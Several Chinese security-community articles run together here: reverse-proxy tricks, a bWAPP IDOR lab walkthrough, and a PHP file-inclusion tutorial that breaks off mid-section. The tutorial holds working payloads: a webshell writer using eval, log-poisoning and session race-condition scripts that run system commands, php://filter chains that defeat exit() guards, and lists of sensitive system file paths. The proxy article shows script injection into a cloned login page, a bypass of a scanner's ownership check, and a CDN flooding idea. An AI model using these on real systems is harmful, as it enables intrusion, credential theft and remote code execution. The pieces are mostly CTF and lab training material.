除了上述所说的套一个CDN，让自己ip变成1.1.1.1来隐藏自己站点ip，还有一些其他好玩的~
CTF线下中的一些思路
因为我们线下赛中每支队伍的web站点都一样，笔者在之前的一次线下训练赛的时候尝试过修改apache配置文件来反代分数最高的队伍的站点，从而达到流量转发(伤害转移)的效果。这个具体能不能实现得看服务器的权限能提升到多高，其次也得根据具体的check机制来灵活使用。如果提升的权限不够高的话，也可以配置.htaccess来实现反代。用tcpdump倒流量顺手抓一波别人的payload。
如果我们采用的是.htaccess方法进行反向代理，这里说一下这种方法的原理和其他的不同在于它本质上是利用.htaccess映射到一个php文件，然后利用php文件去抓取目标服务器的信息返回给客户端。这里.htaccess配置的作用是重写url。所以我们不妨在这个php文件中包含一下这个demo1.php即可达到payload的记录的效果：
代码如下：
demo1.php
<?php
write_log();
function get_http_raw() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."rn";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."rn";
}
}
$raw .= "rn";
$raw .= file_get_contents('php://input');
return $raw;
}
function write_log(){
$data = date("Y/m/d H:i:s")."rn".get_http_raw()."rnrn";
$file = fopen('log1.txt', 'a'); //日志路径
fwrite($file, $data);
fclose($file);
}
记录如下:
克隆网站 —中间人攻击
我们可以安装一个nginx的第三方模块ngx_http_substitutions_filter_module,然后nginx的配置文件中加入一段，即可弹窗等。
subs_filter </head> "<script>alert('1');</script></head>";
location部分的配置如下：
这里有个坑弄了我好久… 就是我们请求网站的时候，数据包头部一般会有Accept-Encoding部分，如下图所示，这个部分告诉服务器，客户端能以怎样的形式解码。那么问题来了，数据包是压缩的，我们怎样才能用subs_filter
替换其中的内容呢？ 其实正像上面截图的配置那样设置：反代服务器请求上游服务器的时候带上Accept-Encoding=‘ ’ 即可，表示不接受任何压缩数据。
访问<http://a.cuit.store>，效果如下：
这样如果我们反代一个登录页面，比如qq空间，然后植入我们的js脚本，后果emmm…
当然了，不同站的反代难度是不一样的~
绕过网站所有权验证，调用在线的云扫描器给我们需要渗透的网站进行扫描
以人人扫这个云扫描平台为例：[http://www.renrenscan.com/，](http://www.renrenscan.com/%EF%BC%8C)
其中需要我们把一个认证文件放到网站根目录上，我们可以设置反代规则的时候，对这个文件进行排除，不进行代理即可绕过，或者直接用.htaccess的方法进行反代就行。
这样我们只需要等待扫描结果，即可get目标站的漏洞了~
如果我们再邪恶一点….顺便也可以包含上demo1.php，把这些扫描的payload都导出来下来(手动滑稽)
ps：这里说点其他的，我发现在给我博客加cdn的时候，发现了如下图所示的这个，因为我用的是cloudflare免费版的套餐，可以看到有很多请求没有经过CDN处理就直接回源了，这就可以让我们想到如果我们渗透的站点是套了CDN的，常规的找邮件服务器，静态文件，ssrf啥的如果都不管用，还不如来点简单粗暴的，暴力发包让CDN承受不住而回源，这样真实ip’轻松’get~
## 0x04: 反向代理不当
一般当我们遇到了反代服务器的时候，可以试着用burpsuite的repeat功能，设置host为反代服务器，然后把http请求中的路径改为内网中的host(一般需要穷举，穷举网段ip端口域名等等)。因为反向代理的本质就是将客户端的请求url重写后发往上游服务器，将返回结果发回客户端，在这之中，如果对路径的配置不当就有可能导致反向代理变正向代理导致一些信息泄露，内网穿透等等漏洞。
参考：
[陌陌web服务器Path处理不当可以正向代理](http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0191121.html)
[内网穿透代理洞](https://bbs.ichunqiu.com/thread-36628-1-1.html)
[谷歌内部主机信息泄露漏洞](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651064742&idx=4&sn=acab07b6df1b307c5ef27b70e3e74e69&chksm=bd1f9b2d8a68123b6064cc4fbbfa7388508d8763a976a18cb8deacb72680f5db7d894a614b91&mpshare=1&scene=23&srcid=0123MGZlcIvsLgWBmyZ5h4rZ#rd)
[新浪HTTP代理配置不当漫游内网](http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2015-0131169)
[挖洞经验之代理不当日进内网](https://paper.tuisec.win/detail/b6d9381e54b0778)
还有一种就是nginx为Django做反代的时候，[静态文件配置错误导致源码泄露](https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html#_1)
## 0x05: 如何防止被反向代理
反向代理不仅会对用户造成威胁，而且对服务器来说也会增强负载，还有就是通过代理的方式盗取网站数据，还有就是seo相关的影响了等等…
通过js防止反代：如果地址栏的网址不是www.passer6y.fun那么就进行跳转。
<script type="text/javascript">
if (document.domain !='www.passer6y.fun'){
window.location.href='http://www.passer6y.fun/';
}
</script>
其实这种方法还是可以绕过的，nginx有扩展模块可以将指定的字符进行替换，这时我们只需将target域名替换成我们自己的就行了(上文有说到如何替换)。或者直接不代理这个js文件也行。
php
<?php
if($_SERVER['SERVER_NAME'] != 'www.passer6y.fun' )
{
header('Location: http://www.passer6y.fun/');
}
?>
.htaccess
RewriteEngine On
RewriteBase /
php_value auto_append_file proxy.php
proxy.php
<?php
$f = getenv(“HTTP_X_FORWARDED_FOR”);
$server = getenv(“HTTP_HOST”);
if (($f!=””)&&($server!=”www.passer6y.fun”){
echo ‘本服务器禁止恶意反向代理！’;
}
?>
## 0x06: Apache 反代配置方法
### 1\. windows下
修改配置文件：Apacheconfhttpd.conf，将以下两个前面的注释符去掉。
#LoadModule proxy_module modules/mod_proxy.so
#LoadModule proxy_http_module modules/mod_proxy_http.so
然后新增一个Apacheconfvhosts.conf文件
<VirtualHost *:80>
ServerAdmin admin # 域名信息
ServerName passer6y.cn # 邮件信息
ProxyRequests Off
<Proxy *>
Order deny,allow
Allow from all
</Proxy>
ProxyPass / http://passer6y.cn/ # 将一个远端服务器映射到本地服务器的URL空间
ProxyPassReverse / http://passer6y.cn/ # 调整由反向代理服务器发送的HTTP回应头中的URL。
</VirtualHost>
### 2\. linux下
参考：<https://www.leaseweb.com/labs/2014/12/tutorial-apache-2-4-transparent-reverse-proxy/>
测试环境：Ubuntu 16.04，apache2
加载”proxy_http”模块：
sudo a2enmod proxy_http
sudo service apache2 restart
在/etc/apache2/sites-available/下，修改配置：
<VirtualHost *:80>
ProxyPreserveHost On
ProxyPass / http://192.168.83.1/ # 指定根URL(/)下的内容映射到给定地址的后端服务器
ProxyPassReverse / http://192.168.83.1/
</VirtualHost>
~
重启apache生效配置：
sudo service apache2 reload
sudo service apache2 restart
### 3.htaccess配置反向代理
这种方法配置反向代理准确的说是php反向代理，我们通过.htaccess中配置一些重写规则，然后把请求映射到一个php文件中，这个php帮我们请求上游服务器的内容，然后将上游服务器的返回的内容获取回来发回客户端。这种配置反代的好处是所需权限比较小，但是也有很多弊端，随着网站的复杂度，我们所写的抓取页面的php脚本难度就不大一样了。
[Github](https://github.com/Passer6y/Reverse_proxy)上放了3个php反代脚本的demo，使用说明也见里面的readme即可。
## 0x07 nginx 反向代理
### 1\. 简单反代
Nginx核心配置文件nginx.conf：
server {
listen 80; # 监听端口(web服务端口)
server_name localhost; # 当前服务的域名，这里是本地测试
location / { # 这里的/ 表示把服务器的根目录反代到www.baidu.com的根目录。
proxy_pass http://www.baidu.com;
proxy_redirect default;
}
}
### 2\. 实例：反代Google
> 测试环境：cent os7
> 条件准备：一个域名，[OneinStack一键安装lnmp](https://oneinstack.com/auto/)，[Let’s Encrypt
> 的ssl证书](https://blog.linuxeye.cn/448.html)
接下来编辑nginx下的主机配置文件：/usr/local/nginx/conf/vhost/
然后在最后插入：
location / {
proxy_set_header Host "www.google.com";
proxy_set_header User-Agent $http_user_agent;
proxy_set_header Connection "";
proxy_http_version 1.1;
proxy_pass https://www.google.com;
}
检测Nginx配置是否正确：
[root@vultr vhost]# nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
重载Nginx服务：
[root@vultr vhost]# service nginx reload
Reloading nginx configuration (via systemctl): [ OK ]
打开google.cuit.store，成功~
## 0x08 结语
这次介绍了我所了解的三种反代情况以及其中一些有意思的玩法。笔者能力有限，第一次写文章有什么理解不对的地方还请大家多多指点！
审核人：yiwang 编辑：边边 | 社区文章 |
# 7.bWAPP -- INSECURE DIRECT OBJECT REFERENCES
## **0x01、Insecure DOR (Change Secret)**
同 XSS - Stored (Change Secret)
### **Low**
仔细观察页面, 发现隐藏一个input标签, 作用是输入用户名, 并且配合提交的修改密码, 完成修改用户密码的操作:
这里就可以利用该用户名input标签达到修改任意用户密码的攻击,
修改login的input标签类型(type)为text:
然后就可以修改任意用户的密码了:
### **Medium &High**
使用了随机生成的token验证当前login 的用户:
## **0x02、Insecure DOR (Reset Secret)**
观察HTML源代码, 发现按钮有一个JS事件:
事件代码为:
function ResetSecret()
{
var xmlHttp;
// Code for IE7+, Firefox, Chrome, Opera, Safari
if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
// Code for IE6, IE5
else
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("POST","xxe-2.php",true);
xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8");
xmlHttp.send("<reset><login>bee</login><secret>Any bugs?</secret></reset>");
}
观察到<reset>中的用户名也是同上一题一样, 可以达到任意用户的目的。</reset>
## **0x03、Insecure DOR (Order Tickets)**
模拟了一个下单的功能:
仔细观察HTML源码, 发现票的单价放在在前端:
### **Low**
修改ticket_price的价格为0，从而可以实现0元购
### **Medium &High**
这时候票的单价就定义在服务端了, 而不是交给前端, 安全得多:
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 从浅入深学习PHP文件包含
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在刚接触这方面的时候就先了解过PHP文件包含，但是通过做题还是觉得之前学的不是很扎实，这次将之前不理解的有疑问的还有学到的一并总结起来。
* * *
## 文件包含
> 服务器在执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这样会节省开发时间
### 漏洞产生原因
> 通过引入文件时，用户可控，没有严格的检验，或是被绕过，操作一些敏感文件，导致文件泄露和恶意代码注入
例如：
<?php
$filename = $_GET['filename'];
include($filename);
?>
`$_GET['filename']`没有经过严格的过滤，直接带入了include的函数，便可以修改`$_GET['filename']`的值，执行非预期的操作。
在PHP中，通常是以下四个包含函数：
include()
include_once()
require()
require_once()
include和require区别主要是，include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行；而require函数出现错误的时候，会直接报错并退出程序的执行。
include_once()，require_once()这两个函数，与前两个的不同之处在于这两个函数只包含一次，适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。
## 两种文件包含
> 当包含文件在服务器本地上，就形成本地文件包含，当包含的文件在第三方服务器是，就形成可远程文件包含。
### 本地文件包含
**0x00:无任何限制**
测试代码如下:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
由于没有任何限制所以可以通过目录遍历漏洞来获取到系统中的其他内容，因为考察文件包含经常是结合任意文件读取漏洞的，所以就总结一些文件常见读取路径
/etc/apache2/*
#Apache配置文件，可以获知Web目录、服务端口等信息
/etc/nginx/*
#Nginx配置文件，可以获知Web目录、服务端口等信息
/etc/crontab
#定时任务文件
/etc/environment
#环境变量配置文件之一。环境变量可能存在大量目录信息的泄露，甚至可能出现secret key泄露的情况
/etc/hostname
#主机名
/etc/hosts
#主机名查询静态表，包含指定域名解析IP的成对信息。通过这个文件，可以探测网卡信息和内网IP/域名
/etc/issue
#系统版本信息
/etc/mysql/*
#MYSQL配置文件
/etc/php/*
#PHP配置文件
/proc 目录
#/proc目录通常存储着进程动态运行的各种信息，本质上是一种虚拟目录，如果查看非当前进程的信息，pid是可以进行暴力破解的，如果要查看当前进程，只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline
#cmdline可读出比较敏感的信息
# ssh日志，攻击方法：
ssh `<?php phpinfo(); ?>`@192.168.1.1
/var/log/auth.log
# apache日志
/var/log/apache2/[access.log|error.log]
上面的示例代码是没有任何限制的，如果有限制的本地文件包含要怎么绕过那？
**0x01:限制包含文件的后缀名**
例如如下代码，增加了杂糅代码，对文件读取产生影响，但还是可以绕过
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".Sn0w");
}else{
highlight_file(__FILE__);
}
?>
**第一种方法：%00截断**
> 前提：PHP<5.3.4
> magic_quotes_gpc = Off
http://127.0.0.1/LFI/?file=flag.txt%00
**第二种方法：长度截断**
> 前提：PHP版本<=5.2.?
> 操作系统对于目录字符串存在长度限制
> Windows下目录最大长度为256字节，超出的部分会被丢弃掉
> Linux下目录最大长度为4096字节，超出的部分会被丢弃掉
如：windows操作系统，`.`超过256个字节即可
Linux下只需不断重复`./`即可
**第三种方法：zip/phar协议**
测试代码：
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".php");
}else{
highlight_file(__FILE__);
}
?>
zip://文件路径/zip文件名称#压缩包内的文件名称 （使用时注意将#号进行URL编码）
phar://文件路径/phar文件名称/phar内的文件名称
phar://协议与zip://类似，同样可以访问zip格式压缩包内容
**0x02:Session文件包含漏洞**
> 前提条件：PHP版本>5.4.0、配置项：session.upload_progress.enabled的值为On
示例代码如下:
利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能
再来看几个php.ini的 **默认选项** ：
session.upload_progress.enabled = on
表示upload_progress功能开始，即当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
表示当文件上传结束后，php将会立即清空对应session文件中的内容
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
#表示为session中的键名
session.use_strict_mode=off
#表示对Cookie中sessionid可控
上面几个默认选项，可能最后两个稍微有点不好理解，其实官方已经举出了对应的例子，如：
// PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在`session.upload_``progress.name='PHP_SESSION_UPLOAD_PROGRESS'`的条件下,上传文件，便会在`session['upload_progress_123']`中储存一些本次上传相关的信息,储存在`/tmp/sess_Sn0w`
通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句，然后进行包含文件，但前提是需要知道session的存储位置
这就需要先了解一下PHP中session的存储机制
>
> php中的session中的内容并不是存储在内存中，而是以文件的方式进行存储，存储方式是由配置项session.save_handler来进行确定的,默认便是以文件的方式进行存储，存储文件的名字便是由sess_sessionid来进行命名的，文件的内容便是session值序列化之后的内容。至于存储路径便是由配置项session.save_path来进行决定的。
一般session的存储路径都不会怎么去改，默认的便是：
linux:
/tmp
或
/var/lib/php/session
Windows:
C:\WINDOWS\Temp
存储路径知道了，但是还是有一个问题，便是代码中没有session_start()函数，怎么样创建出session文件那，其实如果配置项`session.auto_start=On`
是打开的，那么PHP在接收请求的时候便会自动化Session，不再需要执行该函数，但默认都是关闭的，在session中还有一个默认选项，便是上面提到的`session.use_strict_mode`默认值是0，用户可以自己定义SessionID。如：
Cookie中设置:
PHPSESSID=Sn0w
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_Sn0w
即使此时用户没有初始化Session，PHP也会自动初始化Session。
并产生一个键值，这个键值有`ini.get("session.upload_progress.prefix")`+由我们构造的`session.upload_progress.name`值组成，最后被写入sess_文件里。
但还有一个问题没有解决，即使是写进去了默认配置`session.upload_progress.cleanup =
on`导致文件上传后，session文件内容会立即被清空，所以这里就需要去使用多线程同时进行写和读，进行条件竞争，在session文件清除前进行包含利用。
# -*- coding: utf-8 -*- import requests
import io
import threading
url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
sessID = 'Sn0w'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False，调用wait方法的所有线程将被阻塞；
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志，该标志（event）默认为False
event = threading.Event()
#将event的标志设置为True，调用wait方法的所有线程将被唤醒；
event.set()
#会话机制(Session）在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()
上传的有关信息
自己设置的键值因为是php所以解析掉了
这样就可以得到flag了,除此之外，还可以使用burp来进行条件竞争，例如上面官方给的html上传代码上传一个文件
<!DOCTYPE html>
<html>
<body>
<form action="http://5303095a-4023-42e2-b099-30486f1b3323.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123456" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
再根据代码抓一个get的包，请求/tmp/sess_flag
同时进行爆破，payload设置成null payloads就可以一直爆破
### 远程文件包含
> 利用前提：
> allow_url_fopen = On 是否允许打开远程文件
> allow_url_include = On 是否允许include/require远程文件
**0x00:无任何限制**
代码没有任何限制，直接在公网上存放恶意webshell即可，然后通过包含即可执行恶意payload
?filename=http://xxxx/php.txt
**0x01:限制包含文件的后缀名**
例如：
<?php include($_GET['filename'] . ".no"); ?>
**第一种方法：?绕过**
?filename=http://xxxx/php.txt?
**第二种方法：#绕过**
?filename=http://xxxx/php.txt%23
## PHP伪协议
>
> 简单理解便是PHP自己提供的一套协议，可以适用于自己的语言，其他语言则不适用，这便是伪协议，与之相对的例如HTTP\HTTPS便不是伪协议，因为大部分系统\软件都能够进行识别。
### 常见的伪协议
如果遇到的环境有写入权限，可以使用php://input伪协议来写入木马
POST DATA
<?php fputs(fopen('Sn0w.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
### **php://filter各种过滤器**
> php://filter是一种元封装器，设计用来数据流打开时筛选过滤应用。
> [官方文档](https://www.php.net/manual/zh/wrappers.php.php)
对于php://来说，是支持多种过滤器嵌套的，格式如下：
php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称（包含后缀名）
#如果|被过滤掉了，可以使用多过滤器:
php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称（包含后缀名）
嵌套过程的执行流程为从左到右
其实是可以简写成这样的`php://filter/[过滤器]` ，php会自己进行识别。
过滤器列表如下：
过滤器名称 | 说明 | 类别 | 版本
---|---|---|---
string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0
string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0
string.strip_tags | 去除`<?(.*?)?>`的内容 | string.strip_tags | PHP<7.3.0
convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 |
转换过滤器 | PHP>5.0.0
convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0
zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0
bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0
* * *
从上面的过滤器列表中便会发现，php伪协议主要支持以下几类：
1. 字符串过滤器
2. string.strip_tags
3. 转换过滤器
4. 压缩过滤器
5. 加密过滤器
### PHP伪协议常用函数
* file_get_contents
* file_put_contents
* readfile
* fopen
* file
* show_source
* highlight_file
> 注意show_source有回显，而file_get_contents是没有回显的
## file_put_content与死亡/杂糅代码
CTF经常类似考察这样的代码：
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");
这种代码非常常见，在$content开头增加了exit进程，即使写入一句话，也无法执行，遇到这种问题一般的解决方法便是利用伪协议`php://filter`,结合编码或相应的过滤器进行绕过。绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。
### 第一种情况
这里自己先搭建一个环境，通过学习大师傅绕过的方法，自己也来实践一番
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
file_put_contents($file,"<?php exit();".$content);
}else{
highlight_file(__FILE__);
}
**0x01:base64编码绕过**
上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。
对于第一种情况便可以使用base64编码，因为base64只能打印64（a-z0-9A-Z）个可打印字符，PHP在解码base64时，如果遇到了不在其中的字符，便会跳过这些字符，然后将合法字符组成一个新的字符串再进行解码。当$content被加上了`<?php
exit; ?>`以后，可以使用
`php://filter/convert.base64-decode`来首先对其解码。在解码的过程中，字符`<、?、;、>、空格`等不符合base64编码的字符范围将会被忽略，所以最终被解码的字符只有`phpexit`和传入的其他字符。
但是还要知道一点的是base64解码时是4个byte一组,上面正常解码的只有7个字符，所以再手动加上去1个字符a，凑齐8个字符即可
**payload：**
?file=php://filter/convert.base64-decode/resource=Sn0w.php
DATA:
content=aPD9waHAgcGhwaW5mbygpOz8+
**0x02:rot13编码绕过**
利用rot13编码其实和base64编码绕过原理一样，只要成为php无法进行识别的代码，就不会执行。
> 前提是PHP没有开启short_open_tag(短标签)，默认情况下是没有开启的
**payload:**
<?php phpinfo();?>
rot13
<?cuc cucvasb();?>
**0x03:嵌套绕过**
> strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签（php7.3之后移除）
除了上面的两种编码绕过，还可以使用嵌套过滤器的方式来进行绕过，在上面的过滤器列表中有一个`string.strip_tags`，可以去除剥去字符串中的
HTML、XML 以及 PHP 的标签，而`<?php exit;
?>`实际上便是一个XML标签，既然是XML标签，就可以利用strip_tags函数去除它，所以可以先将webshell用base64编码。调用完成strip_tags后再进行base64-decode。`死亡exit`在第一步被去除，而webshell在第二步被还原。
**payload：**
#php5
?file=php://filter/string.strip_tags|convert.base64-decode/resource=Sn0w.php
DATA:
content=?>PD9waHAgcGhwaW5mbygpOz8+
#由于<?php exit();不是完整的标签，所以需要加上?>进行补全
但是这种方法有局限性，因为string.strip_tags在php7以上的环境下会发生段错误，从而导致无法写入，在php5的环境下则不受此影响。
* * *
那如果环境是php7的话，也可以使用过滤器嵌套的方法来做，流程是先将三个过滤器叠加之后进行压缩，然后转小写，最后再解压，这样的流程执行结束后会导致部分死亡代码错误，便可以写进去我们想要写入的shell，原理很简单，就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱，最终变成php无法识别的字符。
?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=4.php
DATA:
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=4.php
或者
content=php/:|<?php%0Dphpinfo();?>/resource=4.php
经过测试发现这里最好文件名尽量不要太复制，可能会导致写不进去
**0x04:.htaccess的预包含利用**
>
> .htaccess是一个纯文本文件，里面存放着Apache服务器配置相关的一些指令，它类似于Apache的站点配置文件,但只作用于当前目录，而且是只有用户访问目录时才加载，通过该文件可以实现网页301重定向，自定义404错误页面，改变文件拓展名，禁止目录列表等
通过 `php_value` 来设置 `auto_prepend_file`或者 `auto_append_file` 配置选项包含一些敏感文件,
同时在本目录或子目录中需要有可解析的 `php` 文件来触发。
php_value auto_prepend_file +文件绝对路径（默认为当前上传的目录）
**payload:**
?file=php://filter/write=string.strip_tags/resource=.htaccess
DATA:
content=?>php_value%20auto_prepend_file%20D:\flag.php
这时无论访问那个文件，都会解析出flag.php
### 第二种情况
<?php
if(isset($_GET['content'])){
$content = $_GET['content'];
file_put_contents($content,"<?php exit();".$content);
}else{
highlight_file(__FILE__);
}
这种情况和上面第一种便有点不同了，因为是一个变量，但还是可以利用php伪协议进行嵌套过滤器来消除死亡代码的，看了s1mple师傅的方法，还是可以利用.htaccess进行预包含，然后读取flag。
**0x01:.htaccess预包含绕过**
**payload:**
?content=php://filter/string.strip_tags/?>php_value auto_prepend_file D:\flag.php%0a%23/resource=.htaccess
可以直接自定义预包含文件，这里直接包含了.htaccess导致了所有文件都包含flag.php文件
**0x02:base64编码绕过**
既然变成了一个变量，那么首先想到的payload便是：
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php
但是有一个问题，可以创建文件，但是无法写入内容，查看了cyc1e师傅的博客，发现问题是出在=号上，因为默认情况下base64编码是以`=`作为结尾的，在正常解码的时候到了
`=`就解码结束了，在最后获取文件名的时候因为resource=中含有等号，所以以为解码是结束了，导致过滤器解码失败，从而报错，内容由于解码过程出错了，所以就都丢弃了。
所以现在问题就转变为了只要能去掉这个等号，就可以将内容写进去，可以看下这种方法：
php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
如果按照之前的思路是先闭合死亡代码，然后再使用过滤器去除html标签，最后再进行解码，但仔细观察这个payload并非是那种解法，而是直接在内容时，就将我们base64遇到的等号这个问题直接写在`<?
?>`中进行过滤掉，然后base64-decode再对原本内容的`<?php exit();`进行转码，从而达到分解死亡代码的目的。
除此之外还可以使用之前的思路来做，既然base64编码写在里面不行，那么就直接放在外面，然后搭配一下过滤器
php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
先闭合死亡代码，然后进行解码，这样便可以写入到文件中去，但访问的话会出现问题，查看s1mple师傅的方法，发现可以通过使用伪目录的方法，从而绕过去
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../Sn0w.php
将前面的一串base64字符和闭合的符号整体看作一个目录，虽然没有，但是后面重新撤回了原目录，生成Sn0w.php文件；从而就可以生成正常的文件名，上面的那种方法也可以使用这种伪目录的方法解决访问问题。
**0x02:rot13编码绕过**
rot13则无需考虑=号问题
?content=php://filter/string.rot13/<?cuc cucvasb();?>/resource=1.php
**0x03:iconv字符编码绕过**
> 在php中iconv函数库能够完成各种字符集间的转换
在该函数库下有一个`convert.iconv.`这样的过滤器，这个过滤器需要 php 支持 `iconv`，而 iconv
是默认编译的。使用`convert.iconv.*`过滤器等同于用`iconv()`函数处理所有的流数据。
> **iconv** ( string `$in_charset` , string `$out_charset` , string `$str` ) :
> string
> 将字符串 str 从 in_charset 转换编码到 out_charset。
那接下来的思路就很明显了，就是借用此过滤器，从而进行编码的转换，转换掉死亡代码，写入自己的shell，首先先要了解一下UCS的两种编码格式
UCS有两种格式
UCS-2和UCS-4
UCS-2就是用两个字节编码
UCS-4就是用四个字节编码
先来看一下利用这个函数即不同的格式转换后的结果
第二个之所以要加上两个字符，是因为UCS-4对目标字符串是4位一反转，所以要注意这里的恶意代码要是4的倍数，所以这里需要补上两个字符
那接下来就用过滤器将这些编码后的结果再转回去不就形成了我们想要写入的内容
**UCS-2**
> 对目标字符串进行2位一反转
**payload：**
php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=2.php
**UCS-4**
> 对目标字符串进行4位一反转，一定要拼凑够4的倍数
php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<aa phpiphp(ofn>?;)/resource=3.php
**0x04:组合拳**
**UTF-8/UTF-7**
还记得上面的base64编码之所以这种
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php
payload无法执行是因为受到了等号的影响，但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号
再进解码发现等号并没有转回来
所以可以利用这种特性来嵌套过滤器，从而绕过等号
php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=1.php
或
php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php
经过测试发现，`write=`一定要写进去，如果不写PHP不会去自动识别，还有就是内容要写在前面，如果写在后面内容写会写入，但是解析不了，如：
php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php
**UCS2/ROT13、UCS4/ROT13**
这里在自己测试的发现，使用UCS2或UCS4进行编码时，这个过程是识别空格的，但是到使用伪协议的时候需要进行反转解码，又无法识别空格，这就是为什么下面的payload要多加一个字符，可以自己测试一下就明白了。
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php
#注意这里要补充一个字符，因为空格无法和任意一个字符搭配进行反转
**UCS4/ROT13**
同样如此
php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|string.rot13|x?<xx cucvcuc(bsa>?;)/resource=6.php
### 第三种情况
<?php
if(isset($_GET['content'])){
$filename = $_GET['filename'];
$content = $_GET['content'];
file_put_contents($filename,$content . "\nxxxxxx");
}else{
highlight_file(__FILE__);
}
